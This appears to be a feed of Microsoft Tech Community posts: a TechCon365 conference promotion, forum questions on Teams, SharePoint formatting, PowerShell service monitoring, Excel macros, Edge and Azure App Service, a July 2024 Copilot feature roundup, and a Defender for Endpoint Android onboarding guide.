TechCon365 – D.C. adds clarity to emerging technology through rich learning and networking opportunities. Alongside core technology adoption sits the value of discovering new things in the context of moving your business forward. To get a sense of what’s planned, review our TechCon365 – D.C. event guide.
In fact, new tools are available to you to measure progress, implement best practices for greatest impact, and drive real value to employees – for the business. We’re working across our teams to ensure we land consistency and focus within the D.C. keynote, breakout sessions, and workshops to Copilot for Microsoft 365 and other generative AI content – alongside the apps and services you love – like SharePoint, Teams, Viva, Power Platform, Fabric, and more.
Join in: TechCon365 – D.C. | August 12-16, 2024 | TechCon365.com/DC.
For the remainder of this article, I want to provide insight into how we frame user enablement. My goal is for all attendees to have the opportunity to learn the “what” of technology, grounded in the “why and how” of strategy and purpose – to ensure they walk away (or fly away) from D.C. equipped to navigate the era of AI with confidence. And that we, too, listen and get your feedback.
The ”what” | Product innovation
The conference promises insightful presentations, from the opening keynote that I get the honor of co-presenting with my peers, Naomi Moneypenny and Ben Summers, “Thriving in the Era of AI” – through all product-depth sessions delivered by Microsoft, MVPs, and our trusted partners.
You’ll get unique insights into Copilot and AI innovation, advances in employee experiences, content services that help automate the flow of work, and perspectives across roles: Business, IT Pros, and Developers. And we have numerous overview-style session to ensure a solid understanding of our strategy and vision – clarity on where Microsoft is taking content, communication, and collaboration into the future – with you. Visit our Copilot adoption hub to learn more.
The “why and how” | Strategy and purpose
Good decisions take planning and the willingness to get properly informed, to weed out what does and doesn’t help you move forward. Ask yourself what does the business need AND how do I need to lead the business. We strive to guarantee outcomes to emerge as clear goals, solid change management, and robust (possibly new) user enablement programs. With everything in place, you will tackle inevitable change while adhering to responsible AI principles.
As an example of what you can expect, my breakout session “Delivering User Satisfaction and Adoption Practices for Microsoft 365” maps out the journey and fundamental skills necessary for adopting and enabling employees to leverage AI effectively. Along the way, you’ll need:
Leadership: Developing leadership capabilities to leverage AI for business outcomes.
Human Change: Managing human transformation through robust user enablement programs, investing in employee experiences, and authentically integrating feedback.
Technical Skills: Building and iterating technical skills to deliver business results, providing access to training and experts.
Responsible AI Principles: Adhering to Microsoft’s mission statement and ensuring AI experiences allow greater human connection by focusing on each other instead of redundant tasks.
User Journey: Understanding the user journey to deliver accelerated change based on trust, using the Think-Act-Feel framework to guide business outcomes.
See you there…
This is a tremendous turning point for many of us in our careers. Similar to what came before with the cloud and other emerging products like Microsoft Teams but on a much larger scale. Ask yourself, “Am I enjoying the work I’m tasked with every day?” If not, now is your time to pivot and there are many great sessions where you can expand into new areas at this conference. Here are a few of the upcoming D.C. sessions designed to help you prepare for the future:
“Technical Readiness for Copilot for Microsoft 365” with Ben Summers
“Empowering US Federal Agencies with Microsoft Copilot: A Roadmap to AI Democratization” with Steve Winward and Jay Leask
“What’s New for Microsoft 365 Admins” with Josh Leporati
“Managing Change in a Microsoft World! Office 365 Governance and Change Management” with Michelle Gilbert
“Have you met your new Trainer? – AI as a learning tool in the Power Platform” with Craig Harris
“Power Platform and Dynamics 365 in the Federal Government” with Brendon Colburn
“Securing and governing the Power Platform at scale” with Ken Aguillard
“The Future of Your Intranet: Beautiful, flexible and AI ready powered by SharePoint” with Katelyn Helms
“What’s new and next for Microsoft Viva” with Kristi Kelly
I believe in-person events are key to depth understanding where you can also build those essential human connections. We will build upon existing documentation and guidance to foster knowledge sharing and effective teamwork. Be curious. Mitigate unconscious bias. Plan to share and consume diverse ideas and perspectives. That is the value of in-person connections. That is what keeps me an active participant of this wonderful tech community – the best community in tech.
Join us at TechCon365 – D.C. | Use our MSCMTY code to get a $200.00 USD discount.
Get up to speed on #MicrosoftCopilot and AI with 27 sessions and 7 workshops at #TechCon365 in Washington DC August 12-16. https://techcon365.com/DC/sessions#sz-tab-244363
Invest in yourself, your colleagues, your entire organization. Embark on a journey to become an AI-powered organization.
Cheers and see you soon, Karuana Gatimu
Visit adoption.microsoft.com
Join us live on Mondays at Microsoft
Subscribe to the Community News Desk blog
Find your next event on CommunityDays.org
Stay connected to the Microsoft Community on LinkedIn
Microsoft Tech Community – Latest Blogs –Read More
Never seen a more annoying app than teams
On Calendar Page:
Click1: Click Meet Now [ Assume it was an accidental click ]
You are presented with choices
Get a link to ShareStart a meeting [ No sane person would click this if #Click 1 was a mistake ]
Click2: Click on #2 Start a meeting [ You can’t assume this was a mistake ]
Click3: Cancel / Join Now [ Forget it, are you kidding me????? of course Join now ]
I can’t believe to start a Meet Now I am asked 3 clicks, totally unbelievable.
In good old times 199x MS had a principle that you hit enter you land up to right place [ defaults], today, you continue to click/click/click [ every single time you want to meet ].
This is true for other meeting scenarios.
The expectation is single click you go where you want to, no fuss around
On Calendar Page:Click1: Click Meet Now [ Assume it was an accidental click ]You are presented with choicesGet a link to ShareStart a meeting [ No sane person would click this if #Click 1 was a mistake ]Click2: Click on #2 Start a meeting [ You can’t assume this was a mistake ]Click3: Cancel / Join Now [ Forget it, are you kidding me????? of course Join now ] I can’t believe to start a Meet Now I am asked 3 clicks, totally unbelievable.In good old times 199x MS had a principle that you hit enter you land up to right place [ defaults], today, you continue to click/click/click [ every single time you want to meet ]. This is true for other meeting scenarios. The expectation is single click you go where you want to, no fuss around Read More
Sharepoint form footer formatting – decimal/thousand separators
I’m using the following formating code to insert a hyperlink at the footer of a Sharepoint form:
“children”: [
{
“elmType”: “a”,
“txtContent”: “Click here to see the updated US Dollar exchange rate (will open in new window)”,
“attributes”: {
“target”: “_blank”,
“href”: “=’https://www.google.com/search?q=’+Number([$Course_x0020_Fee])+’+’+substring([$Currency],0,3)+’+to+USD'”,
“class”: “ms-fontColor-themePrimary ms-borderColor-themePrimary ms-fontWeight-semibold ms-fontSize-m ms-fontColor-neutralSecondary–hover ms-bgColor-themeLight–hover”
}
}
]
The problem is if the user uses a thousand separator in the $Course_x0020_Fee field, in Brazil we use the dot (.) as a thousand separator instead of the comma (,).
For example, if the user enters the amount of one thousand five hundred Brazilian Reais, he/she could write “1.500”. In this case, the link looks like this: https://www.google.com/search?q=1.5+BRL+to+USD
In other words, the dot is interpreted as a decimal separator instead of a thousand separator.
If the user uses a decimal separator, for example five hundred Brazilian Reais and fifty cents, he/she could write “500,50”, and then the link looks like this: https://www.google.com/search?q=50050+BRL+to+USD
In other words, the comma is ignored because it is interpreted as a thousand separator.
Is there a formula that can be used in the link formatting to interpret these separators correctly, depending on the formatting used in the user’s country?
I’m using the following formating code to insert a hyperlink at the footer of a Sharepoint form: “children”: [
{
“elmType”: “a”,
“txtContent”: “Click here to see the updated US Dollar exchange rate (will open in new window)”,
“attributes”: {
“target”: “_blank”,
“href”: “=’https://www.google.com/search?q=’+Number([$Course_x0020_Fee])+’+’+substring([$Currency],0,3)+’+to+USD'”,
“class”: “ms-fontColor-themePrimary ms-borderColor-themePrimary ms-fontWeight-semibold ms-fontSize-m ms-fontColor-neutralSecondary–hover ms-bgColor-themeLight–hover”
}
}
] The problem is if the user uses a thousand separator in the $Course_x0020_Fee field, in Brazil we use the dot (.) as a thousand separator instead of the comma (,).For example, if the user enters the amount of one thousand five hundred Brazilian Reais, he/she could write “1.500”. In this case, the link looks like this: https://www.google.com/search?q=1.5+BRL+to+USDIn other words, the dot is interpreted as a decimal separator instead of a thousand separator.If the user uses a decimal separator, for example five hundred Brazilian Reais and fifty cents, he/she could write “500,50”, and then the link looks like this: https://www.google.com/search?q=50050+BRL+to+USD In other words, the comma is ignored because it is interpreted as a thousand separator. Is there a formula that can be used in the link formatting to interpret these separators correctly, depending on the formatting used in the user’s country? Read More
know the hidden meaning behind angel numbers
### Exploring the Significance of 444: Understanding Angel Numbers
In the realm of spiritual and metaphysical studies, angel numbers are seen as divine messages sent to guide and inspire us. Among these numbers, 444 holds a special place, often interpreted as a sign of protection, encouragement, and spiritual alignment. The website 444 meaning ex relationship delves into the rich symbolism and messages associated with this powerful number.
According to the site, seeing the number 444 repeatedly is not just a coincidence; it’s a message from the universe or your guardian angels. It suggests that you are on the right path and that your efforts are being acknowledged. This number is often seen during times of self-doubt or when making important life decisions, providing reassurance that you are supported and guided.
The website offers a comprehensive exploration of 444’s meanings across different contexts, whether you’re dealing with love, career, or personal growth. It also provides insights into how to interpret this number in your daily life and what actions to take when you encounter it.
For anyone interested in spiritual guidance and understanding the deeper messages behind angel numbers, is an invaluable resource. It not only explains the significance of the number 444 but also offers a broader perspective on how these messages can impact your life.
### Exploring the Significance of 444: Understanding Angel NumbersIn the realm of spiritual and metaphysical studies, angel numbers are seen as divine messages sent to guide and inspire us. Among these numbers, 444 holds a special place, often interpreted as a sign of protection, encouragement, and spiritual alignment. The website 444 meaning ex relationship delves into the rich symbolism and messages associated with this powerful number.According to the site, seeing the number 444 repeatedly is not just a coincidence; it’s a message from the universe or your guardian angels. It suggests that you are on the right path and that your efforts are being acknowledged. This number is often seen during times of self-doubt or when making important life decisions, providing reassurance that you are supported and guided.The website offers a comprehensive exploration of 444’s meanings across different contexts, whether you’re dealing with love, career, or personal growth. It also provides insights into how to interpret this number in your daily life and what actions to take when you encounter it.For anyone interested in spiritual guidance and understanding the deeper messages behind angel numbers, is an invaluable resource. It not only explains the significance of the number 444 but also offers a broader perspective on how these messages can impact your life. Read More
Powershell to Monitor Services
Hello,
I have specific services that I would like to monitor on specific servers and send out alert if service is stopped. Below is a script that works for monitoring one service on a specific server.
Ideally, I would like to do this to monitor multiple services on multiple servers. Not all servic names are going to be same for all servers. I am trying to think how to do it. Any guidance would be appreciated.
#All Variables are defined below
$servername = ‘InternalServerName’
$ServiceName = ‘InternalServiceName’
$ServiceStatus = Get-Service -ComputerName “$servername” -Name “$ServiceName”
$ServiceState = $ServiceStatus.Status
#All Variables are defined above
# All functions are defined below
Function ServiceCheck
{
if
($ServiceStatus.Status -eq ‘Running’) {Write-Host ‘Running’}
Else
{Sendmail(“Alert Triggered”)}
}
Function sendMail ($message)
{
“Sending Email”
#SMTP server name
$smtpServer = “smtp.office365.com”
#Creating a Mail object
$msg = new-object Net.Mail.MailMessage
$emailPassword = “HiddenPassword”
$emailCredential = New-Object System.Net.NetworkCredential(“email address removed for privacy reasons”, $emailPassword)
#Creating SMTP server object
$smtp = new-object Net.Mail.SmtpClient($smtpServer)
$smtp.Port = 587
$smtp.EnableSSl = $true
$smtp.Credentials = $emailCredential
#Email structure
$msg.From = “email address removed for privacy reasons”
$msg.To.add(“email address removed for privacy reasons”)
$msg.subject = “Alert – $ServiceName on $servername is $ServiceState”
$msg.body = “$ServiceName on $servername is $ServiceState”
#Sending email
$smtp.Send($msg)
“Email Sent”
}
# All functions are defined Above
#All functions are called below
cls
ServiceCheck
#All functions are called above
Hello, I have specific services that I would like to monitor on specific servers and send out alert if service is stopped. Below is a script that works for monitoring one service on a specific server. Ideally, I would like to do this to monitor multiple services on multiple servers. Not all servic names are going to be same for all servers. I am trying to think how to do it. Any guidance would be appreciated. #All Variables are defined below
$servername = ‘InternalServerName’
$ServiceName = ‘InternalServiceName’
$ServiceStatus = Get-Service -ComputerName “$servername” -Name “$ServiceName”
$ServiceState = $ServiceStatus.Status
#All Variables are defined above
# All functions are defined below
Function ServiceCheck
{
if
($ServiceStatus.Status -eq ‘Running’) {Write-Host ‘Running’}
Else
{Sendmail(“Alert Triggered”)}
}
Function sendMail ($message)
{
“Sending Email”
#SMTP server name
$smtpServer = “smtp.office365.com”
#Creating a Mail object
$msg = new-object Net.Mail.MailMessage
$emailPassword = “HiddenPassword”
$emailCredential = New-Object System.Net.NetworkCredential(“email address removed for privacy reasons”, $emailPassword)
#Creating SMTP server object
$smtp = new-object Net.Mail.SmtpClient($smtpServer)
$smtp.Port = 587
$smtp.EnableSSl = $true
$smtp.Credentials = $emailCredential
#Email structure
$msg.From = “email address removed for privacy reasons”
$msg.To.add(“email address removed for privacy reasons”)
$msg.subject = “Alert – $ServiceName on $servername is $ServiceState”
$msg.body = “$ServiceName on $servername is $ServiceState”
#Sending email
$smtp.Send($msg)
“Email Sent”
}
# All functions are defined Above
#All functions are called below
cls
ServiceCheck
#All functions are called above Read More
I need to unhide about 50 Teams that Microsoft has hidden.
I’m not sure what’s going on with Microsoft but the AI has made a decision for me that is detrimental to my job.
How might I unhide all these teams that have been hidden without my approval?
I also need to know, as the admin, how to ensure that Microsoft does not do this for anyone else in our organization. We have a hard enough time getting people to use Teams to begin with. By hiding Teams from users, they now have more of an excuse for it being irrelevant.
I’m not sure what’s going on with Microsoft but the AI has made a decision for me that is detrimental to my job. How might I unhide all these teams that have been hidden without my approval? I also need to know, as the admin, how to ensure that Microsoft does not do this for anyone else in our organization. We have a hard enough time getting people to use Teams to begin with. By hiding Teams from users, they now have more of an excuse for it being irrelevant. Read More
Word Postcards printing duplicates
Using Avery template 5889, I have created double sided postcards. Mail merged from an excel spreadsheet. I am getting one page of two postcards for each address. Adjusting the print settings until I have feel guilty about my paper usage. Any suggestions?
Using Avery template 5889, I have created double sided postcards. Mail merged from an excel spreadsheet. I am getting one page of two postcards for each address. Adjusting the print settings until I have feel guilty about my paper usage. Any suggestions? Read More
How do I stop my personal information displaying on my posts in this form?
It has picked up name from my email account and I can’t change it because the boxes are greyed out on profile settings.
It has picked up name from my email account and I can’t change it because the boxes are greyed out on profile settings. Read More
Macro overwrites first row instead of pasting the data on the next row.
I’m trying to get this macro to paste data into the next row but all it does is overwrite the the first row. Can anyone help me please?
Sub ValidateExportData()
‘
‘ ValidateExportData Macro
‘
‘ Keyboard Shortcut: n/a
‘
Application.ScreenUpdating = False
Application.EnableEvents = False
Dim DataSource As Worksheet
Dim DataDestination As Worksheet
Dim LastRow As Long
Dim PasteRow As Long
On Error GoTo CleanUp
‘ Open the destination workbook
Dim TaskCalendar As Workbook
Set TaskCalendar = Workbooks.Open(“S:Task Management Calendar SystemTask Calendar.xlsx”)
‘ Set worksheets
Set DataSource = Workbooks(“Analysis Request Form.xlsm”).Worksheets(“Analysis Request Form”)
Set DataDestination = TaskCalendarWB.Worksheets(“2025”)
‘ Find the last row and move to the next row
LastRow = DataDestination.Range(“D” & Rows.Count).End(xlUp).Row + 1
‘ Copy and paste values from the source to the destination
DataDestination.Cells(PasteRow, 4).Value = DataSource.Range(“E11”).Value ‘ Paste in column D
DataDestination.Cells(PasteRow, 5).Value = DataSource.Range(“E12”).Value ‘ Paste in column E
‘ Optional: Save and close the destination workbook
TaskCalendarWB.Close SaveChanges:=True
CleanUp:
Application.CutCopyMode = False
Application.EnableEvents = True
Application.ScreenUpdating = True
If Err.Number <> 0 Then
MsgBox “An error occurred: ” & Err.Description
End If
End Sub
I’m trying to get this macro to paste data into the next row but all it does is overwrite the the first row. Can anyone help me please? Sub ValidateExportData()” ValidateExportData Macro” Keyboard Shortcut: n/a’Application.ScreenUpdating = FalseApplication.EnableEvents = FalseDim DataSource As WorksheetDim DataDestination As WorksheetDim LastRow As LongDim PasteRow As LongOn Error GoTo CleanUp’ Open the destination workbookDim TaskCalendar As WorkbookSet TaskCalendar = Workbooks.Open(“S:Task Management Calendar SystemTask Calendar.xlsx”)’ Set worksheetsSet DataSource = Workbooks(“Analysis Request Form.xlsm”).Worksheets(“Analysis Request Form”)Set DataDestination = TaskCalendarWB.Worksheets(“2025”)’ Find the last row and move to the next rowLastRow = DataDestination.Range(“D” & Rows.Count).End(xlUp).Row + 1′ Copy and paste values from the source to the destinationDataDestination.Cells(PasteRow, 4).Value = DataSource.Range(“E11”).Value ‘ Paste in column DDataDestination.Cells(PasteRow, 5).Value = DataSource.Range(“E12”).Value ‘ Paste in column E’ Optional: Save and close the destination workbookTaskCalendarWB.Close SaveChanges:=TrueCleanUp:Application.CutCopyMode = FalseApplication.EnableEvents = TrueApplication.ScreenUpdating = TrueIf Err.Number <> 0 ThenMsgBox “An error occurred: ” & Err.DescriptionEnd IfEnd Sub Read More
Color inactive tab
Hello
With a custom theme and since 128.0.2734, when I hover the mouse over an inactive tab, the color changes and becomes the same color as the active tab, moreover, the text is unreadable
Expected behavior (128.0.2732) :
If the Edge team can fix this problem
Thanks
Hello With a custom theme and since 128.0.2734, when I hover the mouse over an inactive tab, the color changes and becomes the same color as the active tab, moreover, the text is unreadable Expected behavior (128.0.2732) : If the Edge team can fix this problem Thanks Read More
Delete WebApp
Hi,
I’m having trouble deleting an App Service that has VNet Integration enabled. The problem arises because the VNet has been removed, and the deletion process can’t find the Subnet linked to the App Service. Could you please help me delete this App Service?
Here is the error message :
An operation on the Virtual Network has failed. Details: {“error”:{“code”:”ResourceNotFound”,”message”:”The Resource ‘Microsoft.Network/virtualNetworks/vnet-ep45iv7w5ymp4’ under resource group ‘rg-rg-demo-openai’ was not found. For more details please go to https://aka.ms/ARMResourceNotFoundFix“}}
Hi,I’m having trouble deleting an App Service that has VNet Integration enabled. The problem arises because the VNet has been removed, and the deletion process can’t find the Subnet linked to the App Service. Could you please help me delete this App Service? Here is the error message : An operation on the Virtual Network has failed. Details: {“error”:{“code”:”ResourceNotFound”,”message”:”The Resource ‘Microsoft.Network/virtualNetworks/vnet-ep45iv7w5ymp4’ under resource group ‘rg-rg-demo-openai’ was not found. For more details please go to https://aka.ms/ARMResourceNotFoundFix”}} Read More
What’s new in Copilot | July 2024
Welcome to the July 2024 edition of What’s New in Copilot for Microsoft 365! Every month, we highlight new features and enhancements for Copilot for Microsoft 365, to keep Microsoft 365 admins up to date with Copilot features that help your users be more productive and efficient in the apps they use every day. And don’t miss the new monthly series designed to empower small and midsized businesses to harness the power of AI at work, Grow your Business with Copilot for Microsoft 365.
Let’s take a closer look at what’s new this month:
Admin and management capabilities:
Enable a Copilot adoption community in Viva Engage
Expanded availability of the Microsoft Copilot Dashboard
Mitigate oversharing risk with extended IT controls for SharePoint Advanced Management
User capabilities:
Turn prompt inspiration into action with Copilot Lab
Enhance data understanding with Copilot in Excel
Craft and organize emails faster with Copilot
Improved document summarization in Copilot in Word
Create quizzes using Copilot in Forms
Improve centralized communications with Copilot in Viva Amplify Editor
Improvements based on your feedback
Enable a Copilot adoption community in Viva Engage
Network admins and corporate communicators can enable a Viva Engage community specifically built to support adoption of Microsoft 365 Copilot. The Microsoft 365 Copilot adoption community makes it easier for your users to ask questions, seek support from peers and IT admins, and learn best practices for Copilot. The Copilot Adoption community is now generally available for Viva and Copilot customers. Learn more about how it works.
A computer screenshot showing the Viva Engage page in Microsoft Teams, with highlighted actions for the button called Launch early adopters as well as the link to Apply adoption features to an existing community.
Expanded availability of the Microsoft Copilot Dashboard
The Microsoft Copilot Dashboard is now available as part of Copilot for Microsoft 365 licenses and no longer requires a Viva Insights premium license. We are now rolling out the Microsoft Copilot Dashboard to Copilot for Microsoft 365 customers who have over 100 assigned Copilot licenses or 10 assigned premium Viva Insights licenses.
With this update, the Copilot Dashboard now provides data for all Copilot license holders, providing greater visibility into adoption and impact at your organization. We’ve also streamlined admin controls for easier management and customization.
A computer screenshot of the Microsoft Copilot Dashboard.
Mitigate oversharing risk with extended IT controls for SharePoint Advanced Management
Search and Copilot only return content to which users have permission, however, users may inadvertently be given access to more content than they need. SharePoint Advanced Management extends traditional IT controls for content and access governance in to help you manage your organization’s data. Beginning next month, content owners and creators will be able to better protect content through its lifecycle with these simple, powerful tools that help mitigate oversharing risk via both Search and Copilot.
Data access governance reports are a collection of reports that help you discover SharePoint sites that contain potentially overshared or sensitive content, so you can assess and apply appropriate security and compliance policies. Our newest report reflects the latest state of permissions in the entire tenant to help identify sites that have a greater count of permissioned users than the number specified by the SharePoint admin. This feature is rolling out in August.
Site access review will help admins discover potential oversharing within their tenant. SharePoint admins will be able to request site owners to review permissions using the report’s specific context. Site owners will receive a corresponding email that redirects to a site that clearly displays the sharing and permissions, along with actions to take. This feature is rolling out in August.
Turn prompt inspiration into action with Copilot Lab
Copilot Lab empowers users to confidently start their AI journey and maximize the potential of Copilot in their daily tasks with curated prompts. Soon, with a simple click, users will be able to take any prompt from the Copilot Lab website and run the prompt in Copilot with Graph-grounding chat, Word, PowerPoint, and Excel by selecting the “Try in” button within each prompt card. This feature will begin rolling out in August.
Users can visit Copilot Lab today to explore our latest prompt collection or check out Copilot Lab in their favorite Microsoft 365 apps or on mobile to get inspired right in the flow of work.
Copilot Lab prompt card in the web experience featuring the ability to run a prompt in the designated app by selecting the “Try in” button.
Enhance data understanding with Copilot in Excel
Copilot in Excel helps users explore and understand data. Now, users can make sense of their data more easily with new features that enable previews of requested changes and support for complex conditional formatting.
Now when users ask Copilot to make changes to table data, Copilot provides a description of the planned changes along with a button to apply the change, providing the user with more information to decide whether to proceed with the update. Users can refine changes and apply them when they’re ready. This feature is rolling out in July.
An Excel worksheet with sales data where the user has asked Copilot to, ”highlight rows where Q1 and Q2 are more than Q3 and Q4” ” and Copilot has suggested a formula with a button to ”apply” which the user can click.
Conditional formatting can be particularly helpful for users when shaping a worksheet. Now, when users set a conditional format rule, Copilot can include a preview of the conditional formatting style that will be applied and a formula explanation when available. This feature is rolling out in July.
We’ve also added more support for complex conditional formats, so users can ask Copilot to highlight rows or columns based on a combination of inputs. For example, to do this a user can prompt Copilot: “Highlight rows where ‘priority’ is ‘critical’ and ‘status’ is not ‘done’.” This feature is rolling out in July.
An Excel worksheet where the user has asked Copilot to “highlight rows where there’s a sales lead but no territory listed” and Copilot has suggested a conditional formatting rule to review and apply.
Soon, users can ask Copilot to add a single formula to summarize column data into one cell. Currently, full column calculations produce a unique result in each row, but this new feature gives users the option to calculate all data in a column together to return one result. This feature is rolling out in July.
An Excel worksheet with sales data where the user asked Copilot to “Calculate the total sales of products for 2021” and Copilot suggested a formula to review and apply.
Craft and organize emails faster with Copilot
Draft by Copilot is a feature to improve and simplify the process of drafting emails. Users can now ask Copilot to draft an email using the right-hand side chat by selecting the Copilot icon on the top right of the app. Copilot will recognize which email a user is reading, so they can prompt Copilot to help draft a response by asking something like, “Reply to this email confirming…” and Copilot will continue developing a draft in the compose window. Using the same chat experience, users can also ask Copilot to help organize email by using a prompt such as “Move all email from sales@contoso.com into my Sales folder.” Both features will roll out in July.
Image shows the process when asking Copilot to draft an email using the right side pane chat inside Outlook
Improved document summarization in Copilot in Word
Now with Copilot in Word, users can summarize documents that contain up to 80,000 words (depending on language), about four times more words than Copilot was previously able to summarize. Learn more here. This feature is rolling out in July for web, desktop, and Mac.
A 66-page Word document is open. The user clicks on the Copilot icon, the Copilot chat pane appears, and the user asks Copilot to “Summarize this doc”. A summary appears in the Copilot chat pane.
Create quizzes using Copilot in Forms
Copilot in Forms helps users quickly and easily create forms and surveys. Now, Copilot can help users create quizzes with correct answers based on their intents and inputs, making it perfect for teachers, trainers, or anyone looking to assess knowledge in an engaging and interactive way. This feature is rolling out in July.
A computer screen showing a prompt window to draft with Copilot to create a quiz.
Improve centralized communications with Copilot in Viva Amplify Editor
We’re bringing the superpowers of Copilot directly into the Viva Amplify editing experience to revolutionize the way users create and enhance content by providing writing assistance for all communications. Users can simply click the Copilot icon for help with content, style, rewrites, and tone. Copilot in Viva Amplify will be available in preview in August.
A computer screenshot showing the Microsoft Viva page with a draft of an email being written to all managers.
Improvements based on your feedback
We continue to collect feedback from IT Pros and end users of Copilot for Microsoft 365. Thanks to your input, we have developed and rolled out many new capabilities and features over the last few months.
You asked for better transcript management, and we rolled out improvements to the view, download, and delete experience of Teams meeting transcript files, explicit consent for transcription in Teams meetings when applied by policy, tenant-wide policy for permission to download meeting transcripts and user-level controls for who can view and edit meeting transcripts.
You also asked for better summarization, and we rolled out summaries based on multiple emails, presentations and Teams chats, referencing multiple files, draft based on text, list, or table selection, support for complex formula columns from multiple tables in Copilot for Excel, and the ability to summarize content in Word with less than 200 words.
In addition, other features we developed to address your feedback include Restricted SharePoint Search enables you to disable organization-wide search and select a set of curated SharePoint sites, and support for Immersive Reader in Word.
Did you know? The Microsoft 365 Roadmap is where you can get the latest updates on productivity apps and intelligent cloud services. Please note that the dates mentioned in this article are tentative and subject to change. Check back regularly to see what features are in development or coming soon.
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Reduce friction and protect faster with simplified Android onboarding
In today’s interconnected digital landscape, users can choose from a range of highly-mobile devices to perform tasks—from smartphones to laptops, tablets, and IoT devices. Each of these devices can access sensitive information and interact directly with critical systems, so a robust protection capability beyond traditional endpoints is paramount to safeguarding data integrity and user privacy.
Today, we’re excited to announce that a simplified onboarding experience in Microsoft Defender for Endpoint on Android devices is now available in public preview.
Comprehensive detection and response
Built on the broadest global threat and human intelligence, Defender for Endpoint has evolved over the years to provide robust security on Android platforms with a host of features like antimalware detection, anti-phishing, network protection, vulnerability management, and more. Moreover, coupled with a unified security interface via the Defender portal, security teams have access to centralized information for effective threat remediation across all endpoints.
With the latest enhancement, enterprises can now seamlessly deploy Defender for Endpoint on Android devices enrolled with Microsoft Intune. This streamlined deployment reduces user friction and time taken to completely onboard the MDE application.
Key benefits
Faster setup on Android devices – Simplified Android onboarding supports silent sign-on and auto-granting of certain permissions on a user’s device. As such, users will only be required to grant necessary permissions to completely onboard Defender for Endpoint.
Intuitive guidance – A clear and intuitive flow to guide users through each step.
Supported across multiple Android profiles – Android enterprise BYOD, COPE, and fully-managed.
Configuring Low Touch Onboarding
Although simplified Android onboarding is disabled by default, org admins can enable it through app configuration policies on Intune by following these steps:
Admin steps –
Push the Defender for Endpoint app to the target user group by following these steps.
Push a VPN profile to the user’s device by following the instructions here.
In Apps>Application configuration policies, select Managed Devices.
Provide a name to uniquely identify the policy. Select ‘Android Enterprise’ as the Platform, the required Profile type and ‘Microsoft Defender: Antivirus’ as the targeted app. Click on Next.
Add runtime permissions. Select Location access (fine) (This permission is not supported for Android 13 and above), POST_NOTIFICATIONS and change the Permission state to ‘Auto grant’.
Under configuration settings, select ‘Use Configuration designer’ and click on Add.
Select Low touch onboarding and User UPN. For User UPN, change the Value type to ‘Variable’ and Configuration value to ‘User Principal Name’ from the drop down Enable Low touch onboarding by changing the configuration value to 1.
Assign the policy to the target user group.
Review and create the policy.
User steps –
Download the company portal and set up work profile using work credentials.
Users will see a message in the Company Portal app informing them to onboard Defender for Endpoint app to ensure device compliance (if compliance policy is set up by the admin)
When the user opens Defender for Endpoint app, they will automatically be signed-in and taken to a permissions screen.
Grant the necessary permissions to complete onboard defender.
Note:
No EULA license agreement will be shown to the user in Low touch onboarding flow.
Users will need to update the Company Portal app if the app version is 5.0.5655.0 or below.
Users will not be able to disable VPN with Android simplified onboarding
Harness comprehensive endpoint security
Protecting Android phones as part of endpoint protection strategies is essential for addressing the diverse security challenges presented by today’s digital landscape. With Defender for Endpoint, we ensure comprehensive security coverage for users and organizations alike and empower IT admins to stay one step ahead of the evolving threat landscape.
For more information:
Learn more about Microsoft Defender for Endpoint
Not a Defender for Endpoint customer? Start a free trial today.
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